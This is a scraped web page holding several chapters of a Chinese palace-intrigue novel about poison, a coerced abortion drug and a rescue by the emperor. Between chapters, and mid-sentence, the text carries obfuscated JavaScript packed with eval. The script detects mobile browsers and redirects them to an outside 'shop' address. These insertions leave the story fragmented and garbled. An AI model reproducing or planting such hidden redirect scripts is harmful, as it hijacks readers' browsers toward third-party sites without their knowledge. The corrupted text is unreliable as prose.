l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683620|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意微凝,“夕儿,还在为早晨的事情生我的气么?我先给你赔个不是,我给你开了两副药方,其中一副里面是放了红花的,可是被你晟哥哥发现了,还说了我一顿呢,我自然就不敢再动手脚,但是早晨这丫头给你煎药的时候,不小心拿错了方子,这才让夕儿误会了。” 呵……安文夕在心中不由得冷笑,明明是这么拙劣的谎话,由华静香说来却毫无做作之感,忍不住令人相信,这华静香的确是个不好对付的角色! “夕儿,现在这碗是我亲手熬得,绝不会再有什么差错,我是真心希望你可以早点好起来,不如趁热喝了吧。”华静香将其中一碗药汁端了起来对她道。 明明是这样平易近人的口气,但是华静香却在无形之中给人一种拒人千里之外的距离感。 安文夕只是浅浅的笑了笑,丝毫没有接药碗的意思,那嘴角的笑意极为浅淡,根本看不出来她带了丝讥讽。 药碗很烫,华静香的纤纤玉手是何等娇嫩,她一直端着药碗却不见安文夕来接,脸上堆起的笑容一点点流逝,眼中的寒光渐盛。 就连一旁的流苏都有些看不下去了,眉头紧锁,这安文夕也太不识抬举了,竟敢在她家公主面前摆架子,欺人太甚! 就在流苏冷着脸将要从华静香手中接过药碗的时候,安文夕不疾不徐接过了药碗放在了小几上。 “多谢香韵公主,只是夕儿现在有孕在身不便吃药,所以就要辜负您的好意了,还请公主莫怪。”安文夕不动声色的看了眼华静香已经被碗底烫的发红的手指,慢慢垂下了长长的睫毛。 此时华静香脸上的笑容有些挂不住,冷眸看向另一碗药汁对安文夕道:“这是落胎药,夕儿若是想要解药,便喝了这碗药吧。” “公主……” “夕儿可要想清楚了,如今仅剩下不到两天的时间了。”华静香冷冷打算安文夕的话,看来刚才她对安文夕的忍耐已经到了极限。 “我知道,可是我不会喝的。” 华静香双拳紧握,指节有些发白,这个安文夕简直比石头还硬,软硬不吃! 她眼底的眸光瞥向一旁立着的流苏,立即会意,一手端起药碗,一直探向安文夕的下巴,嘴里冷声道:“安姑娘,对不住了!” 呵……这是想要对她用强了! 袭匀立即将药碗一掌打翻,清俊的脸庞泛着寒意,冷冷对流苏道:“不自量力!” 药碗被打翻在地,发出了一声清脆的碎瓷声,药汁洒的到处都是,就连华静香粉色的裙摆都没能幸免,被溅上了点点药汁。 她脸上的冷意再也控制不住,微眯的双眸泛着寒霜,隐约掠过一抹稍纵即逝的杀意。 “公主,奴婢知错!”流苏立即跪倒在地。 “起来吧!”华静香气的咬牙,刚要发作,房门再次被人打开,安景晟脸上带着冷意朝内室走来。 他的眸光看到地上的碎瓷和和流了满地的药汁,眉头微微蹙起,他扫了眼神情淡淡的安文夕,最后将眸光落到了华静香的脸上,袖中的双拳紧紧握起。 第218章 不要逼我 第二百一十八章不要逼我 “晟,你来了。”华静香原本寒气逼人的脸上顿时恢复了一副楚楚可怜的模样,大大的眸子里沁了点点水光,似乎是受了极大的委屈一般,拎起裙子朝安景晟走去。 安景晟看着扑在他怀中的女人,眉头微不可见的皱了一下,过了半晌,他才环住了她的柳腰。 华静香仿佛是得到了安慰一般,双眼之中顿时水光盈盈,两行清泪顺着花颊流下。 “晟……” “这是怎么了?”安景晟看向一旁的流苏冷冷道。 流苏咬了咬唇道:“启禀驸马,公主好心来给这安姑娘送药,结果安姑娘不仅不吃,还将它打翻。” “你别血口喷人,明明是你们要强行给小师妹灌落胎药!”袭匀怒道。 安景晟闻言眸光一紧,他还没有开口,怀中的华静香已经抬起了婆娑的泪眼对安景晟道:“晟,是我不好,你罚我吧。” 安景晟抿了抿唇,依旧尽量柔声对她道:“你先回去,这里有我。” 华静香不动声色的勾起一抹笑意,她就知道安景晟即便是再生气,也绝不会在人前不给她脸面的。 “好,你给夕儿解释一下,我没有想逼她的。” “去吧。”安景晟拍了拍她的肩膀。 华静香扫了眼流苏,流苏立即简单收拾了一下地上的狼藉,然后随华静香出了房门。 “夕儿……”安景晟慢慢走近安文夕,不禁叹了口气。 “你想解释什么,刚才她逼着小师妹喝落胎药可是我亲眼所见。”袭匀不客气的拿眼斜着他。 安景晟顾自坐在了安文夕的对面,看着她道:“夕儿,这件事是她做的不对,我跟你道歉。” “不必了晟哥哥。” “夕儿,你我之间至于这么见外么?”安景晟阵阵心痛,“这个世上我只有你一个亲人了!” “晟哥哥,你错了,我们从来就不是亲人。” “夕儿……”北宫喆心中一震。 “你不应该姓安,而是姓北宫吧!”安文夕淡淡道。 安景晟满脸震惊,难以置信的看着安文夕,紧紧锁着她平淡的脸色,惊道:“你是怎么知道的?” “我救了秋水。” “秋水还活着?” 安文夕淡淡点头,“晟哥哥,夕儿对你太失望了。” “夕儿,我真的没有想要杀了秋水和无涯的。” “你不杀伯仲,而伯仲却因你而死,有什么区别么?” “安景晟,你看看你走到今日,有多少人付出了鲜血甚至生命,真的值得么?”袭匀道。 “自古都是成王败寇,百年之后,功过自有人说,没有值得不值得。” “你……”袭匀一滞,竟不知说他什么好。 “晟哥哥,你既然执意如此,我也不再劝你,只是现在夕儿还叫你一声晟哥哥,请你不要再逼我了可以么?” 安景晟抿了抿唇,没有说话。 “难道你真的想把我们这么多年来的兄妹之情全部磨灭么?” “夕儿,晟哥哥不想逼你的,我也很珍惜能有你这个妹妹。你也不要逼我好么?那北宫喆有什么好?” 安文夕垂眸不去看他,半晌,安景晟长长的叹了口气,“夕儿,你若是执意想要留下你肚子里的孩子,我不逼你,但是你不要再回夏宫了好么?以后,夏宫里的事情都有子目去做,你就待在我身边将孩子生下,我会把他当做亲子抚养,然后我再重新给你寻一个好夫婿……” “够了,晟哥哥,我心意已决,你走吧。” “明日我会将解药拿来。”安景晟回头看了安文夕一眼,微蹙了眉头,撩开步子出了房门。 “啧啧,一个唱白脸,一个唱黑脸。”袭匀撇嘴。 安文夕以手撑着额头,脸上浮现淡淡的疲惫,看了眼已经冷却的落胎药对袭匀道:“将药倒了吧。” “他们也真是不死心,每餐都会送来,也不嫌浪费。” “我不想让无双出事,但是我也舍不得这个孩子!” 袭匀刚将药碗放下,还没有来得及坐下,他听到一声细微的声响,立即警惕出声:“谁!” 安文夕顺着袭匀的眸光看去,宽大的帷幔几乎阻隔了所有的视线,微风拂动,帷幔轻摆,根本看不出有人藏在那里。 袭匀身形未动,一步步靠近帷幔,还没有将帷幔拉开,便被人定住了身形。 安文夕眉头一皱,起身厉声道:“谁在那里?” “是你?”前方突然传来袭匀惊讶的声音。 那人这才解开了袭匀的穴道,袭匀立即转身对安文夕道:“小师妹,你看你这是谁!” 北宫喆从袭匀身后走来,尽管他身上穿着一身普通的侍卫衣服,但是他身上那种与生俱来的帝王之尊却丝毫没有被淹没。 他清冷的眸光直直的看向她,尽管那眼神冰冷的没有半分温度,可是安文夕依旧觉得铺天盖地的温暖朝她袭来。 每次她被困困境,他总能像天神一般突然降临,即便是他现在失忆了,他也没有让她失望。 “你来了。”安文夕不自觉地在嘴角扬起了一抹浅笑,尽管他的眉眼陌生,可是她依旧抑制不住心里的喜悦。 “你,没事吧。”北宫喆淡淡打量了她一眼。 “我没事,你怎么来到这里的?”安文夕飞快的扫了眼房门和四周的窗户处。 “说来话长。”北宫喆看了眼她殷红的眉心,淡淡蹙了眉。 “这边来。”安文夕走过去一把抓住了北宫喆,带着他往内室走去。 “你们慢聊,我在这里守着。”袭匀看了安文夕一眼。 北宫喆感觉自己的手被一双柔弱无骨的小手紧紧握着,下意识地就反手将那只小手握在手中,软软的触感竟令他爱不释手。 安文夕拉着他坐下,然后给他倒了杯茶。 那只温软的小手突然离开,北宫喆心中顿时涌出一阵怅然若失的感觉。 “这里的茶比较粗陋,你将就点。” “今晚走。”北宫喆扔出了这句话。 “你带着我,有几分把握?” “五分。” 安文夕微微蹙眉,“这里看似平静,而在暗处却隐藏了无数的暗卫,没有十分的把握,不能冒险。” “你要相信朕。”北宫喆一瞬不瞬的盯着她。 安文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683621|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夕从袖中取出一粒药丸递给北宫喆,“这是胭脂泪的解药,你赶紧回去拿给无双,现在只有一天的时间了。” 北宫喆看着那里药丸,顿时明白了什么,半晌将药丸收进了怀中。 “那你呢?” “我没事的,他不会伤害我的。”安文夕抿唇。 “那你肚子里的孩子呢?”北宫喆蹙眉,“你难道想要用肚子里的孩子换解药么?” 安文夕双手放在小腹处,开口道:“我会保护好我们的孩子的!” “跟朕走,解药的事情朕自有办法。” “不,我不能走。”安文夕知道如果带了她一起走的话,他能出去的几率又会小了几分,一旦被发现再想出去就难了,无双现在还等着解药救命呢,她不能冒这个险! 北宫喆皱起的眉头又深了几分,这个女人真是倔得可以! “哐当——”这时房门突然被人粗鲁的打开。 安文夕一滞,立即对身侧的北宫喆道:“赶紧走!” 华静香和左**带着人涌了进来,只看到了一抹青黛的衣摆从窗户处划出了一抹利落的弧度。 “给本宫追!” 北宫喆从窗户处一跃而出,不曾想窗下却围满了暗卫,最前方的安景晟正摇着纸扇含笑的看着他。 “北宫喆,别来无恙。” “呵……你终于敢离开南诏,在我大夏露面了。” 这一句无疑是讽刺他不过是靠着南昭和香韵公主才有的今天,在这男权至上的时代,无疑是赤裸裸的侮辱。 果然,安景晟变了脸色,原本嘴角噙着的笑意顿时一僵。 “北宫喆,废话少说,既然你敢来,我定让你有来无回!” “朕的十万大军就驻扎在离这里五里之处,死的是谁还不知道!” 在他的地盘上还如此大言不惭! 安文夕和袭匀立即追了出来,紧接着是华静香带领着左**等人前来。 她身形一动,转瞬来到安文夕身侧,将手中的长剑架到了安文夕的脖子上对北宫喆厉声道:“你的女人在我手里,你还不赶紧乖乖就擒!” 袭匀暗暗一惊,这个女人的速度好快,她明明就在小师妹身边,没想到却被她抢先一步。 “北宫喆,不必管我,记住我跟你说的!”安文夕神情平淡,看不出半分惧色。 安文夕话音刚落,华静香手中的剑锋顿时逼近了一寸,安文夕白嫩的脖子上立即流下了一缕血迹。 北宫喆眸光一紧,微微握了拳,正打算掀翻华静香手中的长剑,只见安文夕反手一拉,直接劈手夺下华静香手中的长剑然后架到了她的脖子上。 众人皆被眼前这一幕震惊了,没想到柔柔弱弱的安文夕竟然有这么好的身手,而且所有的动作皆发生在一夕之间,速度快至令人咋舌。 “公主——”流苏惊呼道,长剑立即出鞘,指向安文夕。 华静香根本就没有想到安文夕敢从她的手中夺剑,此时脸色有些气的发红,双眸沁了怒意。 “晟哥哥,放他走!”安文夕厉声道。 既然他们早就防备着北宫喆前来,如今又想将他囚在这里,只怕打算谋算什么。 第219章 痛不欲生 第二百一十九章痛不欲生 安景晟眸光微敛,紧盯着安文夕和华静香二人。 “如果是他走了,你也难以脱身了,你可要想清楚了。”华静香冷冷道。 “赶紧走,不要让我失望!”安文夕咬牙对北宫喆道,她说着刀锋逼近,在华静香雪白的脖子上划了一道浅浅的伤口。 华静香感到一阵疼痛,不由得一阵皱眉,这个女人出手狠绝,绝不是在开玩笑! “晟,放他走!” 只要安文夕在她的手里,她就不信北宫喆不会乖乖就范! 安景晟看着一脸请求的华静香,最终还是给北宫喆让出了步子,这个时候他不能让华静香出事! “走吧!” 北宫喆握了握拳,看了眼安文夕,决绝的转过了身去,颀长的后背勾勒出冰冷的线条。 华静香不由得冷嗤,“这就是你喜欢的男人,你一心想要保护的男人,关键时刻还不是要弃你而去?” 华静香的话音刚落,北宫喆身形一滞,随即他飞快的跃身而去,再没有回头。 安文夕看了眼袭匀道:“你跟他一同去!” “我?”袭匀惊讶道,“我去了你怎么办?” “快去!”安文夕咬牙。 袭匀咬了咬牙,提身追了上去。 看见他们走远,安文夕这才稍稍松懈下来,还没有将剑从华静香脖子上取下,她的身体顿时一软,手中握着的长剑“哐当”掉了下来。 “夕儿,你怎么了?”安景晟立即掠过去接住了倒下的安文夕。 华静香眼中划过一抹阴狠的幽光,看着安景晟眉眼的焦急,不疾不徐道:“这是胭脂泪发作了!” “香儿,解药呢?” 华静香斜斜的看着他,伸手抹过脖子里的鲜血,看着指尖上的一抹殷红,嘴角微勾,看了流苏一眼,向前走去。 流苏看着安景晟咬牙道:“驸马,您让公主失望了。” 安景晟抱起安文夕,看着华静香越走越快的背影,知道她这是生气了,他抿了抿唇,还是将安文夕抱回了房间。 一直到日暮时分安文夕才悠悠转醒,她最近时常晕倒只怕不是急火攻心而是胭脂泪发作了吧。她看到眉心的那粒泪痣,已经红的夺目。 她今日伤了华静香,只怕她要记恨她了! 入了夜,五月的天气,已经有了丝丝暑意。 而在这边的主房内,安景晟和华静香双双用完晚膳开始就寝,室内的气氛有些低沉,华静香始终是淡漠的靠在床榻内侧,向来小巧的后背也有些发冷。 安景晟握了握拳,幽深的双瞳泛起一丝冷意,半晌他翻身上榻,一把将华静香揽进怀中,贴在她的耳边道:“香儿,还在生我的气么?” 华静香没有像以前一样,往安景晟怀里钻,而是微抿了嘴角,怔怔的看着他,“安景晟,你真的让我很失望。” “香儿,我知道下午的时候是我不对,没有考虑你的感受,可是我不能对夕儿不管不顾。” “安景晟,我就问你,是安文夕重要还是我重要?”华静香一汪水瞳带着淡淡的委屈,在她的眸底萋萋看不出作假。 安景晟只是紧紧的拥着她,半晌都没有说话。 华静香的眸光一点点垂下去,“安景晟,你对不起我!” “香儿,她是我妹妹,而你是我携手白头的人,是我让你受委屈了,原谅我好么?”他的黑瞳如潭,透着真诚。 华静香不禁在心中冷哼,连谎话都说得如此真诚,这甜言蜜语在他嘴里说出来真是能够扰动少女的春心。 “下次不许再这样!”华静香的语气虽然冷硬,但是却没有了刚才的尖锐。 “好,下次不再这样。”安景晟细密的吻落在了她的发顶,带了些怜惜,而那双琥珀色的眸子隐在暗处,看不出情绪。 华静香这才缓缓攀上了安景晟的后背,安景晟心中一动,一个翻身,将华静香压下身下,双眸染了些欲望。 “香儿,可以么?” 华静香略带羞怯的点了点头,恨不得将头埋进锦被里,不敢去看安景晟的脸色,瞬间又变成了那个温柔娇羞的小女子了。 一番云雨之后,安景晟像是一只吃饱了的兽一般拥着华静香沉沉睡去。 而华静香被连续折腾了将近一宿,已经累得动弹不得,枕着安景晟的胳膊甜甜入睡。 突然,一双锐利的眼睛蓦地睁开,即使在黑暗中,那双眸子也又黑又亮,直摄人心魄。 安景晟缓缓抽出被华静香压在下面的胳膊,然后摸到她脖子里戴的古玉项链,取出里面的药丸。 待他只发现一颗的时候,蓦地一滞,怎么只有一颗? 他飞快的将药丸收进手中,然后取下床榻旁边挂着的衣服套在身上,大步朝外走去。 他前脚刚走,原本熟睡的华静香也睁开了眼睛,只是她的眼底盛满了浓浓的讥讽,半晌她摩挲着脖子的古玉,嘴角的不屑渐渐扩大。 “公主,果然如您所料,驸马一直都在骗您。”流苏缓缓从床榻后面走来。 “现在什么时辰了?” “还有半个时辰就到卯时了。” 华静香点点头道:“将本宫的衣服取来,好戏要开始了,本宫可不能错过。” 流苏将衣服取来,华静香还没有从床上起身便又重重的跌坐了回去,她秀气的眉头微微蹙起。 安景晟这个禽兽,一遍遍的索要,把她折腾的身子骨都散架了,如今腰酸腿疼的,走路都是问题。 流苏看到华静香咬牙切齿的模样,脸上顿时一红,虽然她不是那种蔻丹初开的小姑娘,可是面对这样的情景,还是不免有些不好意思。 华静香只关注着自己身体的不适,根本没有注意到流苏的小心思。 “我事先让你准备的东西可有准备好?” “公主放心,那落胎药奴婢熬好了。” “走吧。”华静香点点头,挽着黛眉,忍着双腿的酸胀一步步出了房间。 此时,天还没有大亮,整个院子里静悄悄的,安景晟拿到了解药,便直接去了安文夕的房间。 安景晟看着安文夕和衣躺在了床榻上,就连被褥也有些凌乱,不禁蹙眉,待他走近却发现安文夕脸色苍白如纸,额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689614|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头上还沁着豆大的汗珠,就连嘴唇都被她咬破了皮,紫褐色的血渍染在了薄唇之上。 “夕儿,夕儿……”他立即一个箭步上前,坐在安文夕的榻前,给她探了探脉搏,顿时心凉如水,她的脉搏竟然微弱的几乎探不出来。 夕儿食入的胭脂泪分量少,虽然不至于像月无双那样昏迷不醒,但是他知道一旦胭脂泪毒发,便会痛不欲生! 没想到这个时候毒发了,竟比他预料的要早了四五个时辰! “夕儿,快醒醒!”安景晟将安文夕扶了起来,盘腿坐在榻上,开始给安文夕输入真气。 过了片刻,安景晟才收了掌小心翼翼的让安文夕靠在榻上的迎枕上。 将手中的药丸塞到安文夕的嘴中,过了半晌,安文夕才悠悠转醒,看到对面一脸焦急的安景晟,苍白的脸上浮现一抹惊喜,随之而来的冰冷立即将这抹淡淡的喜色冲淡。 “你怎么来了?” 安景晟不在意她的疏离与冷漠,忙问道:“夕儿,你现在感觉如何?” 安文夕扫了他一眼没有开口,好像浑身上下真的不疼了,没有刚才的那种虫蚁噬咬的剧痛了。 “你刚才给我服下的解药?” 安景晟点点头,还没有来得及开口说话,对面的安文夕蓦地吐出一口鲜血来,黛眉深深锁起。 “夕儿,你怎么了?”安景晟大惊道,一颗心顿时沉到了谷底。 “疼……特别疼……”安文夕脸色立即变得更加煞白,额头上再次起了一层密汗,整个小脸都皱成了一团,嘴唇再次被咬破,连话都痛的说不出来。 夕儿本就是一个忍耐力极强的人,一般的伤痛她连眉头都不会皱一下,看她现在痛苦的样子,只怕是痛至骨髓了! 可是明明已经服过解药了,怎么还会这样? “夕儿,别怕,有晟哥哥呢。”安景晟眸光一紧,打算再次出掌给安文夕输入真气。 “你若是不想让她死,就别再给她输入真气。”一声清冷中夹带着妩媚的声音传来,华静香和流苏一起走进了内室,她的脸上带了些怒气,双眸紧紧盯着安景晟。 安景晟看到华静香前来,没有太过惊讶,迎着她染了怒气的眸光开口道:“你怎么来了,怎么没有多睡会?” 安景晟文雅清淡的语气里甚至带了丝宠溺,让华静香的一腔怒气仿佛是打在了棉花上一般,略显无力。 “我带着落胎药来看看她。” 果然,安景晟顺着华静香的视线看去,流苏手上捧着的药碗此时正冒着热气。 “你想做什么?”安景晟紧锁的眉头又深了几分。 “我不想做什么,我只是想和夕儿做笔交易。” “我……我不做!”安文夕紧紧咬着下唇,不让自己在她们面前太过狼狈。 “一碗落胎药换一粒解药,一个孩子换一条命,你不亏!”华静香悠悠来到安文夕面前,看着身体而剧痛而微微颤栗的女人,不由得眯了眼睛,这个安文夕,倒是个硬骨头,这胭脂泪的毒性一旦发作,就是她身边数一数二的暗卫也绝对撑不了一刻钟,没想到她却硬是不吭不响。 第220章 死亡之兆 第二百二十章死亡之兆 不过,这胭脂泪一旦毒发,越到后面,这疼痛便会越厉害,她就不信安文夕还能忍受的了! 迎着安景晟错愕的眸光,华静香淡淡道:“你拿走的是假的解药。” 他当真以为她会将真的解药放在项链里么?她还没有这么傻! 华静香敛去双眸中的讥讽,对安文夕道:“一旦毒发,离死可就只有两个时辰的时间了,本宫等着你的决定。” 安文夕狠狠地咬着下唇,脑海中只有一个信念,死都不能伤害她的孩子! “夕儿,你这是何苦呢……”安景晟小心的用帕子给安文夕擦了擦额头上的细汗,眉眼之间的焦急虽然不带半分男女之情但是那呵护备至的样子依旧深深刺伤了华静香的双眼。 即便是做戏,他也不能当着她的面对别的女人如此关心,就算是妹妹也不行! “想必此时夏宫里的月无双会更加不好受!” 华静香的话音一落,安文夕蓦地抬眸,苍白的唇沁出缕缕血丝。 “怎么样,你考虑好了么?” “我不答应!”安文夕的眸光坚定,不带半点妥协。 “哼,希望再过半个时辰,你的嘴还这么硬!”华静香阴狠的双眸内带了丝不屑。 她有的是时间,就跟她耗到底! 安文夕此时的神智渐渐被巨大的疼痛吞噬,浑身上下仿佛被千万只蚂蚁噬咬,又好像被巨石碾过一般,几乎疼痛的失去知觉。 时间逐渐流逝,安文夕丝毫没有妥协的意思,即便是痛至骨髓,她都没有哼过一声,只有额头上滚落的豆大的汗珠暴露了她此时的忍耐。 “夕儿……”安文夕看着安景晟的脸越来越模糊,剧痛如潮水一般将她淹没,她顿时没有了任何意识。 “夕儿……”安景晟咬了咬牙,半晌只见一旁的安文夕艰难的睁开了眼睛,气若游丝的看了他一眼。 只怕她这个样子,撑不了多久就会陷入昏迷! 华静香看了流苏一眼,流苏立即会意,端起药碗朝安文夕走去,“安姑娘,药凉了,您考虑好了么?” “够了,华静香,你到底想怎样?”安景晟一下掀翻了流苏手中的药碗。 一声巨大的碎瓷声划破了黎明,在这寂静的室内分外刺耳。 安景晟怒了,是真的怒了,如同一只暴怒的狮子一般,带着雷霆之怒。 华静香眸光顿时一冷,黛眉紧紧蹙着,“我想怎样?安景晟,你别忘了我做这一切都是为了谁,为了谁的野心?当初你去南昭,是怎么跟我说的?我是相信了你是一个有魄力、果敢的男子汉,才会不顾众人的反对嫁给了你!而你呢,你就是这么回报我的?安景晟,你没有良心!” 安景晟紧抿着嘴角,神色丨微滞。 华静香一步步向他靠近,“她肚子里的孩子生下来就是个祸害,这一点你比我更清楚,所以你不能够手软!” “可是香儿,是你答应我的,最后一日要给夕儿解药的。” “此一时彼一时。” “公主、驸马,不好了,安姑娘她,断气了!” 安文夕早在安景晟和华静香的争吵中晕了过去,此时她双目紧闭,寻不见半点鼻息。 安景晟闻言,眉心一跳,立即去探安文夕的脉搏,顿时脸色一沉,他的指尖颤了颤,将手递到了安文夕的鼻息之下,果然寻不见半点气息。 一旁的华静香脸色顿时变了,安文夕绝不能死,她的命留着还有用! 突然,安文夕的眉心的泪痣如一朵盛开的极为妖艳的彼岸花,一滴血泪缓缓流下。 安景晟立即用帕子将那滴血泪擦拭干净,胭脂泣泪,是死亡之兆! 他的心顿时沉到了谷底,到底是哪里出了错,不应该是这样的! 华静香见此眸光一沉,立即给安文夕探了探脉搏,脸色比刚才还要难看几分,阴鸷的眸光紧紧锁住安景晟,厉声道:“你的解药哪来的?” “从你的项链中取出来的。” “不可能!”华静香柔美的面部有些狰狞,满眼的不可置信。 “早在三天前,我就已经用一粒假的解药将真的解药换了下来。”他刚才偷拿解药不过是掩人耳目罢了。 “你——”华静香因为生气双肩有些微颤。 “为什么会这样?”安景晟不在乎华静香的气氛,蹙眉道。 华静香讥讽的看着他,“胭脂泣泪,别人皆以为是死亡之兆,而其实并不是,因为解毒之时太过痛苦,和毒发并没有区别,一般人根本不能分清到底是在解毒还是毒发。而且,若是可以熬到胭脂泣泪,一般都没有生命危险了。” “那她为什么没有气息。” “因为解毒过程对身体消耗极大,她现在不过是太过虚弱了!”华静香的语气依旧带了讥讽,能够知道这些的只怕整个中原也寻不见一个。可是她华静香却不同,她是从小泡在毒里长大的! 一般人若是中了胭脂泪,等到胭脂泣泪,而**之人又没有气息,就被当做了死亡之兆直接准备了后事,所以胭脂泪才被认为是剧毒之物! 安景晟眉眼间沁着的忧虑慢慢化开,他握了握华静香的双手道:“香儿,谢谢你告诉我这些。” 华静香冷冷的拂开了他的双手,“就在几个时辰之前你还跟我说那是最后一次,而现在又将我如此戏耍,安景晟,你到底将我当做了什么?” 安景晟眸光轻垂,这件事的确是他不对,可是夕儿是他的亲人,而华静香……不过是相互利用罢了,他还是分的清楚的。 可是,现在很明显还不是跟她翻脸的时候。 “香儿……”他试图再去抓住华静香的手。 华静香冷冷瞧了他一眼,远远走开。 “安景晟,她虽然服下了解药,并不代表我可以饶了她!接下来,我想要做什么,希望你不要干涉,否则,休怪我翻脸不认人!” 她说完,决绝的出了房门。 安景晟伸出的手只触到了她翩翩掠过的衣摆。 就连流苏也双眸带怒的看了他一眼,转身随着华静香出了房门。 安景晟咬了咬唇,没有追上去,他有的是法子能够让她不生气,不急在这一时。 “你不该为了我跟她闹得不愉快,毕竟你们是夫妻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689615|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”一声微弱的声音传来,安景晟顿时一喜。 “夕儿,你醒了,现在感觉怎么样?” “好多了,不疼了。”安文夕垂下了眼睑,“我累了,晟哥哥可以让我睡一会么?” “你睡吧。”安景晟见她并没有对她冷脸,心中一暖。 他刚刚出了安文夕的房间,便感到一阵威压向他直袭而来,他敏锐的躲过了身子,只见一只羽箭带着破空之力朝他这里射来。 幸好他躲的快,不然不堪设想。 他顺着羽箭射来的方向望去,只见北宫喆一袭白袍在微风中猎猎而展,带着倨傲之势,桀骜不驯的威严令人忍不住臣服。 他不甘心的狠狠地瞪着他,他认为他比北宫喆是不差什么的! “朕问你,她呢?” “呵,没想到你竟然还敢来!”安景晟轻蔑道。 “朕为何不敢来,交出解药和朕的女人,否则,这个女人下一瞬就会变成一具尸体了!” 这时,青玄手中提着一个被封了穴道的女人赫然出现在了众人视线之中。 看到华静香可怜楚楚的双眸和不甘心的小脸,安景晟眸光一紧。 “北宫喆,放了她,没想到你竟如此卑鄙!” “卑鄙么?彼此彼此,朕不过是以其人之道还治其人之身罢了!”北宫喆冰冷的声音如同沁了万千寒冰一般,他朝青玄递了个眼色,青玄立即会意。 “安世子,若是你不交出皇贵妃娘娘,只怕你的世子妃要被人看光了!”青玄说着伸手去解华静香的衣服。 “不要,晟,救我!”华静香恨得咬牙。 这个北宫喆不仅卑鄙,更是无耻! 原本她还打算是安文夕去威胁他割城赔款,没想到却被他摆了一道! 安景晟狠狠地握着拳,双眸微眯,这北宫喆简直拿他的尊严放在脚下踩! “驸马,救救公主!”流苏不甘心的哀求道。 左**不耐,立即单膝下跪道:“请驸马赶紧救救公主,不然我等无法交代!” “夕儿已经服下了解药!”安景晟咬牙道,“你先放了香儿!” “朕要见人!” 安景晟幽深的黑瞳写满了愤怒,半晌他转身回房,却见安文夕扶着房门慢慢走来。 她的脸色苍白的可怕,没有一丝血色,脚步虚浮,像是随时都会倒下一般,身形摇摇欲坠。 安景晟只见眼前掠过一抹白色身影,再次抬眸,安文夕已经被北宫喆紧紧的抱在了怀中,那小心翼翼的模样犹如在呵护世间的珍宝一般。 他不是中了忘情蛊,不记得夕儿了么,怎么会这样? “北宫喆,人你也带走了,可以放了香儿了吧!” “青玄,放了她!” “是。”青玄立在房顶之上,随手将身侧的女人丢下,犹如在丢垃圾一般,这么狂傲的样子几乎要把华静香的鼻子气歪。 就在她要落地之际,安景晟身姿一掠,华静香顿时跌进了一个温暖的怀抱。 华静香气的脸色铁青,恨恨的瞪着北宫喆厉声道:“你竟然敢侮辱本宫,本宫就让你付出代价!” 第221章 已经太晚 第二百二十一章已经太晚 北宫喆淡淡扫了她一眼,直接将她气势汹汹的话忽略掉,对青玄道:“撤!” 如此狂妄的态度,令众人一阵瞠目结舌。 这个夏皇,还不是一般的狂! “左**,给本宫拦住他们!”华静香看着北宫喆倨傲的背影厉声道。 左**面有难色,犹豫道:“公主,庄院外面全是夏军,我等只怕不是对手。” “香儿,你先冷静一下,这件事你听我……” “晟,我冷静不了。”华静香双眸血红,一副要**的样子。 这简直是奇耻大辱,她活了十八年都没有这么窝囊过! 明明是她拿捏到了对方的软肋,但是没想到到头来却是她被人当做猴一样耍,要她怎么甘心! “夏军?”她冷冷一笑,就算北宫喆带来了十万大军又能如何,她手里还有一个筹码。 “北宫喆,你莫不是忘了,那月无双如今还身中胭脂泪,估计如今也已经毒发了吧!” 华静香话音一落,安景晟和众人立即反应过来,那月无双和北宫喆的关系非比寻常,他一定不会不管那月无双的! 谁知,北宫喆仿佛没有听见一般,打横抱起了安文夕,衣袂绝绝,翻身跃上马背。 “北宫喆,你不要解药了么?”安景晟讥讽道。 “他那么急,难不成是要赶着去成亲?”华静香冷嗤。 华静香这么一说,众人皆明白了过来,今天可是大夏皇帝迎娶皇后的日子,他若是误了时辰的话,那就是就皇后的不尊重,这可是没有办法向天下人交代的! 安文夕身子微微一震,是了,今日是北宫喆和江向晚大婚的日子,国婚是马虎不得的,的确是该着急的! 她的心头顿时萦绕了淡淡的酸楚,双手紧紧的攥着北宫喆的衣袍,舍不得撒手。 感觉到安文夕浅淡的变化,北宫喆眸光轻垂,看到她长长睫毛掩盖下的那一抹失落,心中蓦地一揪,她的脸色苍白如纸,仿佛随时都会晕倒一般,他不由得渐渐收紧了手臂,将她牢牢揽在怀中。 